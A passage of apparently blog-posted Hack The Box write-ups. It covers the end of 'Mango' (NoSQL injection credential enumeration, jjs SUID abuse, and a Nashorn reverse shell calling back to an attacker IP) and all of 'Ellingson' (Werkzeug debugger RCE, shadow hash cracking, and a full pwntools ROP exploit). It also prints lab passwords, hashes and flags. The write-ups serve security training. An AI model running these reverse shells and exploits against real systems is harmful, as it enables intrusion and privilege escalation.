            "url": "https://api.github.com/repos/alcaeus/mongo-php-adapter/zipball/93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "reference": "93b81ebef1b3a4d3ceb72f13a35057fe08a5048f",
            "shasum": ""
        },
        "require": {
            "ext-ctype": "*",
            "ext-hash": "*",
            "ext-mongodb": "^1.2.0",
            "mongodb/mongodb": "^1.0.1",
            "php": "^5.6 || ^7.0"
        },
        "provide": {
            "ext-mongo": "1.6.14"
        },
        "require-dev": {
            "phpunit/phpunit": "^5.7.27 || ^6.0 || ^7.0",
            "squizlabs/php_codesniffer": "^3.2"
        },
        "time": "2019-08-07T05:52:28+00:00",
        "type": "library",
        "extra": {
            "branch-alias": {
                "dev-master": "1.1.x-dev"
            }
        },
        "installation-source": "dist",
        "autoload": {
            "psr-0": {
                "Mongo": "lib/Mongo"
            },
            "psr-4": {
                "Alcaeus\\MongoDbAdapter\\": "lib/Alcaeus/MongoDbAdapter"
            },
            "files": [
                "lib/Mongo/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "MIT"
        ],
        "authors": [
            {
                "name": "alcaeus",
                "email": "alcaeus@alcaeus.org"
            },
            {
                "name": "Olivier Lechevalier",
                "email": "olivier.lechevalier@gmail.com"
            }
        ],
        "description": "Adapter to provide ext-mongo interface on top of mongo-php-libary",
        "keywords": [
            "database",
            "mongodb"
        ]
    },
    {
        "name": "mongodb/mongodb",
        "version": "1.2.0",
        "version_normalized": "1.2.0.0",
        "source": {
            "type": "git",
            "url": "https://github.com/mongodb/mongo-php-library.git",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339"
        },
        "dist": {
            "type": "zip",
            "url": "https://api.github.com/repos/mongodb/mongo-php-library/zipball/5cffeb33b893b6bb04195b99ddc3955a29252339",
            "reference": "5cffeb33b893b6bb04195b99ddc3955a29252339",
            "shasum": ""
        },
        "require": {
            "ext-hash": "*",
            "ext-json": "*",
            "ext-mongodb": "^1.3.0",
            "php": ">=5.5"
        },
        "require-dev": {
            "phpunit/phpunit": "^4.8"
        },
        "time": "2017-10-27T19:42:57+00:00",
        "type": "library",
        "installation-source": "dist",
        "autoload": {
            "psr-4": {
                "MongoDB\\": "src/"
            },
            "files": [
                "src/functions.php"
            ]
        },
        "notification-url": "https://packagist.org/downloads/",
        "license": [
            "Apache-2.0"
        ],
        "authors": [
            {
                "name": "Jeremy Mikola",
                "email": "jmikola@gmail.com"
            },
            {
                "name": "Hannes Magnusson",
                "email": "bjori@mongodb.com"
            },
            {
                "name": "Derick Rethans",
                "email": "github@derickrethans.nl"
            }
        ],
        "description": "MongoDB driver library",
        "homepage": "https://jira.mongodb.org/browse/PHPLIB",
        "keywords": [
            "database",
            "driver",
            "mongodb",
            "persistence"
        ]
    }
]

Now that we know we have MongoDB running in the background, we can try a noSQL injection, since it is our only possible attack vector left. Using burp repeater we find that we can extract DB information by pointing our POST request to /home.php.

We then proceed to enumerate users and passwords with a blind noSQL injections, luckily there is a script already available online to run these with our selected parameters.

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "username"                                                                                                   
No pattern starts with '0'                                                                                                                                    
No pattern starts with '1'
No pattern starts with '2'
No pattern starts with '3'
No pattern starts with '4'
No pattern starts with '5'
No pattern starts with '6'
No pattern starts with '7'
No pattern starts with '8'
No pattern starts with '9'
Pattern found that starts with 'a'
Pattern found: ad         
Pattern found: adm        
Pattern found: admi       
Pattern found: admin      
username found: admin            
No pattern starts with 'b'
No pattern starts with 'c'

[...snip...]

No pattern starts with 'j'                                                                                                                                    
No pattern starts with 'k'                                                                                                                                    
No pattern starts with 'l'                                                                                                                                    
Pattern found that starts with 'm'                                                                                                                            
Pattern found: ma         
Pattern found: man        
Pattern found: mang       
Pattern found: mango      
username found: mango     
No pattern starts with 'n'
No pattern starts with 'o'
No pattern starts with 'p'
No pattern starts with 'q'
No pattern starts with 'r'     

[...snip...]

o pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '
'
'o pattern starts with '
No pattern starts with '
                        '
No pattern starts with '
                        '

2 username(s) found:
admin
mango

We do the same for the password parameter :

root@kali:~/Desktop/htb/Mango/Nosql-MongoDB-injection-username-password-enumeration# python nosqli-user-pass-enum.py -u "http://staging-order.mango.htb" -up "username" -pp "password" -op "login" -m POST -ep "password"                    
No pattern starts with '0'
No pattern starts with '1' 

[...snip...]

o pattern starts with 'e'
No pattern starts with 'f'
No pattern starts with 'g'
Pattern found that starts with 'h'
Pattern found: h3                      
Pattern found: h3m                                                                                                                                            
Pattern found: h3mX
Pattern found: h3mXK
Pattern found: h3mXK8
Pattern found: h3mXK8R
Pattern found: h3mXK8Rh
Pattern found: h3mXK8RhU
Pattern found: h3mXK8RhU~
Pattern found: h3mXK8RhU~f
Pattern found: h3mXK8RhU~f{
Pattern found: h3mXK8RhU~f{]
Pattern found: h3mXK8RhU~f{]f
Pattern found: h3mXK8RhU~f{]f5
Pattern found: h3mXK8RhU~f{]f5H
password found: h3mXK8RhU~f{]f5H
No pattern starts with 'i'
No pattern starts with 'j'
No pattern starts with 'k'

[...snip...]

o pattern starts with 'r'
No pattern starts with 's'
Pattern found that starts with 't'
Pattern found: t9
Pattern found: t9K
Pattern found: t9Kc
Pattern found: t9KcS
Pattern found: t9KcS3
Pattern found: t9KcS3>
Pattern found: t9KcS3>!
Pattern found: t9KcS3>!0
Pattern found: t9KcS3>!0B
Pattern found: t9KcS3>!0B#
Pattern found: t9KcS3>!0B#2
password found: t9KcS3>!0B#2
No pattern starts with 'u'
No pattern starts with 'v'

[...snip...]

No pattern starts with '~'
No pattern starts with ' '
No pattern starts with '        '
No pattern starts with '  
'                         
'o pattern starts with '  
No pattern starts with '   
                        '   
No pattern starts with '  
                        ' 
                                       
2 password(s) found:      
h3mXK8RhU~f{]f5H          
t9KcS3>!0B#2

We now have 2 users and 2 passwords. We successfully connect with ssh in mango user using the first password.

root@kali:~/Desktop/htb/Mango# ssh mango@mango.htb
mango@mango.htb's password: 
Welcome to Ubuntu 18.04.2 LTS (GNU/Linux 4.15.0-64-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Thu Apr  9 06:17:58 UTC 2020

  System load:  0.03               Processes:            141
  Usage of /:   25.8% of 19.56GB   Users logged in:      0
  Memory usage: 14%                IP address for ens33: 10.10.10.162
  Swap usage:   0%


 * Canonical Livepatch is available for installation.
   - Reduce system reboots and improve kernel security. Activate at:
     https://ubuntu.com/livepatch

122 packages can be updated.
18 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Apr  9 05:50:13 2020 from 10.10.16.146
mango@mango:~$

We quickly pivot to admin user with the sucommand and the second password.

mango@mango:~$ su admin
Password: 
$ bash
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

admin@mango:/home/mango$ cd /home/admin
admin@mango:/home/admin$ cat user.txt 
79bf31c6c6eb38a8567832f7f8b47e92
admin@mango:/home/admin$

Now that we have the main user of this box we upload and run LinEnum.sh into the box so we can have a quick report on possible privilege escalation vectors, and we find an SUID binary!

[...snip...]

[+] Possibly interesting SUID files:                                                                                                                          
-rwsr-sr-- 1 root admin 10352 Jul 18  2019 /usr/lib/jvm/java-11-openjdk-amd64/bin/jjs 

[...snip...]

According to Oracle Help Center :

The jjs command-line tool is used to invoke the Nashorn engine. You can use it to interpret one or several script files, or to run an interactive shell.

Also we find this binary in gtfobins :

It can be used to break out from restricted environments by spawning an interactive system shell.

Since we can spawn a shell and it has a sticky bit, we can abuse it to obtain a shell with root privileges.

echo "Java.type('java.lang.Runtime').getRuntime().exec('/bin/sh -c \$@|sh _ echo sh <$(tty) >$(tty) 2>$(tty)').waitFor()" | jjs

We manage to spawn a shell, however it hangs, we can’t type anything in the console, it seems that the process is created but our connection is tied with jjs tty, we can’t run any command. Also we have $ instead of # in our command prompt, meaning we didn’t get a root shell.

Instead we create a reverse shell, luckily we have netcat on the victims box as well as gcc if needed (recompile nc with -e flag). Also, we can’t run sudo as admin. So there’s no way here to augment our privileges by piping our Java commands into sudo jjs.

echo 'var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/bash", "-i").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();' | jjs

We were able to obtain a shell but we are still admin user. The solution here is simply to use the -p flag with /bin/sh so we can start the shell with the privileged user we wanted, it only works if we have that sticky bit for user or group set. According to the manual of sh :

-p privileged
Turn on privileged mode. This mode is enabled on startup if either the effective user or group ID is not equal to the real user or group ID. Turning this mode off sets the effective user and group IDs to the real user and group IDs. When this mode is enabled for interactive shells, the file / etc / suid_profile is sourced instead of ~ / .profile after / etc / profile is sourced, and the contents of the ENV variable are ignored.

We modify the Java code accordingly and run on the victim’s machine :

var host="10.10.16.146";
var port="9999";
var ProcessBuilder = Java.type("java.lang.ProcessBuilder");
var p=new ProcessBuilder("/bin/sh", "-pc", "/bin/sh -p").redirectErrorStream(true).start();
var Socket = Java.type("java.net.Socket");
var s=new Socket(host,port);
var pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
var po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){ while(pi.available()>0)so.write(pi.read()); while(pe.available()>0)so.write(pe.read()); while(si.available()>0)po.write(si.read()); so.flush();po.flush(); Java.type("java.lang.Thread").sleep(50); try {p.exitValue();break;}catch (e){}};p.destroy();s.close();

On our attacker machine :

root@kali:~/Desktop/htb/Mango# nc -lvp 9999
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::9999
Ncat: Listening on 0.0.0.0:9999
Ncat: Connection from 10.10.10.162.
Ncat: Connection from 10.10.10.162:47122.
id
uid=4000000000(admin) gid=1001(admin) euid=0(root) groups=1001(admin)
cat /root/root.txt
8a8ef79a7a2fbb01ea81688424e9ab15
exit

As you can see, we are still admin user, however, our euid (Effective User ID) is that of root!

To summarize, we find a login page in a subdomain that is vulnerable to a noSQL injection. We use this to exfiltrate users and passwords from the DB. Luckily, the passwords where re-used in the machine so we could login as mango user using ssh with the first password and pivot to admin user with the second password. We then find an SUID binary (jjs) that we successfully exploit to obtain euid=0(root) in the victims machine.

Thanks for reading!

CTF – HTB – Ellingson

Hello everyone and welcome to another HTB writeup. I did this machine a while ago but never had time post this, so here we go!

Let’s start with a basic nmap scan :

root@kali:~/Desktop/htb/Ellingson# nmap -sC -sV -o TCP_scan 10.10.10.139 
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-15 12:10 EET
Nmap scan report for ellingson.htb (10.10.10.139)
Host is up (0.13s latency).
Not shown: 998 filtered ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 49:e8:f1:2a:80:62:de:7e:02:40:a1:f4:30:d2:88:a6 (RSA)
|   256 c8:02:cf:a0:f2:d8:5d:4f:7d:c7:66:0b:4d:5d:0b:df (ECDSA)
|_  256 a5:a9:95:f5:4a:f4:ae:f8:b6:37:92:b8:9a:2a:b4:66 (ED25519)
80/tcp open  http    nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
| http-title: Ellingson Mineral Corp
|_Requested resource was http://ellingson.htb/index
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.12 seconds

We explore a simple website and run a dirbuster scan that reveals nothing interesting, a hint in /articles/2 tells us that they implemented a protection against bruteforce attacks, so no need to go deeper this way. Let’s try /articles/99999 to see if we have something… And yes we get an error page!

The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error.

[…snip…]

You can execute arbitrary Python code in the stack frames and there are some extra helpers available for introspection:

• dump( ) shows all variables in the frame

• dump(obj ) dumps all that’s known about the object

Looks like they are using WSGI, which is running with python, and someone forgot to turn off the debugger, sweet! We can execute commands in the debugger :

import os,subprocess;
val = subprocess.check_output("ls -la", shell=True);
print(val);

And here we already have our foothold in the machine, we simply append our public ssh key to the authorized_keys in hal /.ssh folder and we login as hal :

root@kali:~/Desktop/htb/Ellingson# ssh -i id_rsa hal@10.10.10.139
Enter passphrase for key 'id_rsa':
Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic 086 64) 

* Documentation: https://help.ubuntu.com 
* Management: https://landscape.canonical.com 
* Support: https://ubuntu.com/advantage 

System information as of Sat Oct 11 12:16:33 UTC 2019 

System load: 0.0                 Processes: 98 
Usage of /: 23.6% of 19.56GB     Users logged in 0
Memory usage: 13%                IP address for ens33: 10.10.10.139
Swap usage: 0%

* Canonical Livepatch is available for installation. 
  - Reduce system reboots and improve kernel security. Activate at: 
    https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates.

Last login: Sun Mar 11 11:23:12 2019 from 192.168.1.211 
hal@ellingson:—$ 

We enumerate the machine a little bit and find shadow.bak in /var/backups :

hal@ellingson:/var/backups$ cat shadow.bak
root:*:17737:0:99999:7:::
daemon:*:17737:0:99999:7:::
bin:*:17737:0:99999:7:::
sys:*:17737:0:99999:7:::
sync:*:17737:0:99999:7:::
games:*:17737:0:99999:7:::
man:*:17737:0:99999:7:::
lp:*:17737:0:99999:7:::
mail:*:17737:0:99999:7:::
news:*:17737:0:99999:7:::
uucp:*:17737:0:99999:7:::
proxy:*:17737:0:99999:7:::
www-data:*:17737:0:99999:7:::
backup:*:17737:0:99999:7:::
list:*:17737:0:99999:7:::
irc:*:17737:0:99999:7:::
gnats:*:17737:0:99999:7:::
nobody:*:17737:0:99999:7:::
systemd-network:*:17737:0:99999:7:::
systemd-resolve:*:17737:0:99999:7:::
syslog:*:17737:0:99999:7:::
messagebus:*:17737:0:99999:7:::
_apt:*:17737:0:99999:7:::
lxd:*:17737:0:99999:7:::
uuidd:*:17737:0:99999:7:::
dnsmasq:*:17737:0:99999:7:::
landscape:*:17737:0:99999:7:::
pollinate:*:17737:0:99999:7:::
sshd:*:17737:0:99999:7:::
theplague:$6$.5ef7Dajxto8Lz3u$Si5BDZZ81UxRCWEJbbQH9mBCdnuptj/aG6mqeu9UfeeSY7Ot9gp2wbQLTAJaahnlTrxN613L6Vner4tO1W.ot/:17964:0:99999:7:::
hal:$6$UYTy.cHj$qGyl.fQ1PlXPllI4rbx6KM.lW6b3CJ.k32JxviVqCC2AJPpmybhsA8zPRf0/i92BTpOKtrWcqsFAcdSxEkee30:17964:0:99999:7:::
margo:$6$Lv8rcvK8$la/ms1mYal7QDxbXUYiD7LAADl.yE4H7mUGF6eTlYaZ2DVPi9z1bDIzqGZFwWrPkRrB9G/kbd72poeAnyJL4c1:17964:0:99999:7:::
duke:$6$bFjry0BT$OtPFpMfL/KuUZOafZalqHINNX/acVeIDiXXCPo9dPi1YHOp9AAAAnFTfEh.2AheGIvXMGMnEFl5DlTAbIzwYc/:17964:0:99999:7:::
hal@ellingson:/var/backups$

By using unshadowbinary, we combine the shadow.bak with /etc/passwd and proceed to crack it using john with rockyou.txt wordlist, which takes a while but still gets us credentials :

unshadow ./passwd ./shadow.back > hash
root@kali:~/Desktop/HTB/boxes/ellingson# john --wordlist=/usr/share/wordlists/rockyou.txt hash 
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 AVX 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
iamgod$08        (margo)
1g 0:01:22:03 DONE (2019-09-13 11:43) 0.3234g/s 341.5p/s 321.5c/s 341.5C/s zangief..elisha
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We find credentials for theplague user but fails to login. However we also have credentials for user margo and pivot as this user :

root@kali:~/Desktop/htb/Ellingson# ssh margo@10.10.10.139
margo@10.10.10.139s password:
\Welcome to Ubuntu 18.04.1 ITS (GNU/Linux 4.15.0-46-generic x86 64)

* Documentation: https://help.ubuntu.com 
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Sat Oct 17 10:12:34 UTC 2019
 
System load: 0.14               Processes: 103 
Usage of /: 21.5% of 19.56GB    Users logged in 1
Memory usage: 26%               IP address for ens33: 10.10.10.139
Swap usage: 0%

* Canonical Livepatch is available for installation. 
  - Reduce system reboots and improve kernel security. Activate at:
    https://ubuntu.com/livepatch

163 packages can be updated.
80 updates are security updates. 

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Sun Mar 11 21:11:38 2019 from 192.168.1.211
margo@ellingson:~$

With our new user we proceed to some simple enumeration and we find a weird SUID binary called garbage in /usr/bin/, which immediately reveals itself to be vulnerable to a buffer overflow :

margo@ellingson:~$ /usr/bin/garbage 
Enter access password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

access denied.
Segmentation fault (core dumped)
margo@ellingson:~$

At this point we already know that this is the correct attack vector we will exploit to obtain root on this box. We download this binary with scp and analyze it locally to develop an exploit. We also verify if ASLR is enabled in this box, which is, and in Full Randomization mode :

margo@ellingson:~$ cat /proc/sys/kernel/randomize_va_space
2

Simple checkup of security properties of this executable :

root@kali:~/Desktop/htb/Ellingson# file garbage
garbage: setuid ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=de1fde9d14eea8a6dfd050fffe52bba92a339959, not stripped
root@kali:~/Desktop/htb/Ellingson# checksec ./garbage
[*] '/root/Desktop/htb/Ellingson/garbage'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

We have NX enabled, which basically prevents us from executing code on the stack. We will have to work around the ASLR and NX to get our successful exploit.

In order to do that, we will use a technique called Return Oriented Programming (ROP). Simply put, it’s a technique similar to ret2libc but we will have to build a chain of called ‘gadgets’ that we will use to create our malicious code, which finality is to call system(‘/bin/sh’) to get our shell as root.

Let’s start by download the libc shared object from the victims to help us obtain offsets for later calculations :

root@kali:~/Desktop/htb/Ellingson# scp margo@ellingson.htb:/lib/x86_64-linux-gnu/libc.so.6 ./
margo@ellingson.htb's password:
libc.so.6                                                                                        100% 1983KB 211.3KB/s   00:08

We create a pattern to leak the address of libc and found it to be 136 bytes.

root@kali:~/Desktop/htb/Ellingson# /usr/share/metasploit-framework/tools/pattern_create.rb 200
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2
[...snip...]
root@kali:~# /usr/share/metasploit-framework/tools/pattern_offset.rb Ad7Ad8Ad9Ae
[*] Exact match at offset 136

We now know that we will send our first 136 bytes to get the address of ripregister and overwrite it with our first gadget.

By analysing the binary we also find a password, but it reveals to be useless when using it with the binary, we will still take note and keep it for later if we ever need it.

Let’s start coding our exploit with pwn tools :

#!/usr/bin/env python

from pwn import *
#import os
#import subprocess
#import struct

s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()

context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')

context(os='linux',arch='amd64')                                                                                                                                              
context.log_level = 'DEBUG'

password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17) #17 is size of password

We also need the addresses of the Procedural Linkage Table (PLT) and Global Offset Table (GOT) in the binary :

root@kali:~/Desktop/htb/Ellingson# objdump -D ./garbage | grep puts
#401050:       ff 25 d2 2f 00 00       jmpq   *0x2fd2(%rip)        # 404028 <puts@GLIBC_2.2.5>

We look out for out first gadget which will be pop rdi; retand save this address… We continue analyzing the binary for the interesting addresses and we log them :

pop_rdi = p64(0x40179b) #pop rdi; ret

#0000000000401619 <main>:
main = p64(0x401619)

#readelf -s | grep func
#the commented code is the local libc.so.6

#libc_put = 0x71910
libc_put = 0x809c0

#libc_system = 0x449c0
libc_system = 0x4f440

#libc_setuid = 0xc7500
libc_setuid = 0xe5970

# strings -a -t x libc.so.6 | grep bin/sh
#string_binsh = 0x181519
string_binsh = 0x1b3e9a

We proceed to calculate the leaked address of puts :

payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)

p.recvline()
p.recvline() #we receive 2 outputs...
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))

With our leaked address, we calculate the offset we need to call our system functions :

libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)

sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)

log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))

All is left to do is to sum this up to generate our final payload :

payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys

p.sendline(payload)

p.interactive()

And by executing our python script we obtain shell as root! Here the complete exploit code I used :

#!/usr/bin/env python

from pwn import *

s = ssh("margo", "10.10.10.139", 22, "iamgod$08")
s.checksec()

context(terminal=['tmux','new-window'])
p = s.process('/usr/bin/garbage')

context(os='linux',arch='amd64')                                                                                                                                              
context.log_level = 'DEBUG'

password = "N3veRF3@r1iSh3r3!"
junk = password + "A"*(136-17)
                                                                               
puts_plt = p64(0x401050)
puts_got = p64(0x404028)
pop_rdi = p64(0x40179b) #pop rdi; ret
null = p64(0x0)

main = p64(0x401619)
libc_put = 0x809c0
libc_system = 0x4f440
libc_setuid = 0xe5970
string_binsh = 0x1b3e9a

payload = junk + pop_rdi + puts_got + puts_plt + main
p.sendline(payload)

p.recvline()
p.recvline()
leaked_puts = p.recvline()
leaked_puts = leaked_puts[-8:].strip().ljust(8,"\x00")
log.success("Leaked puts@GLIBC : 0x%x", u64(leaked_puts))

libc_base_addr = u64(leaked_puts) - libc_put
log.success("Libc base address 0x%x calculated from substracting leaked puts from libc puts (readelf -s)", libc_base_addr)

sys = p64(libc_base_addr + libc_system)
setuid = p64(libc_base_addr + libc_setuid)
sh = p64(libc_base_addr + string_binsh)

log.success("Values of sys, setuid and string /bin/sh is : 0x%x, 0x%x, 0x%x", u64(sys),u64(setuid),u64(sh))

payload = junk + pop_rdi + null + setuid + pop_rdi + sh + sys

p.sendline(payload)

p.interactive()

To summarize, we start by finding an RCE on the webserver that gives us our initial shell as hal, then find a backup of the shadow file that we use to crack the credentials for margo user. We then find an SUID binary that we exploit using a ROP chain.

As always, thanks for reading!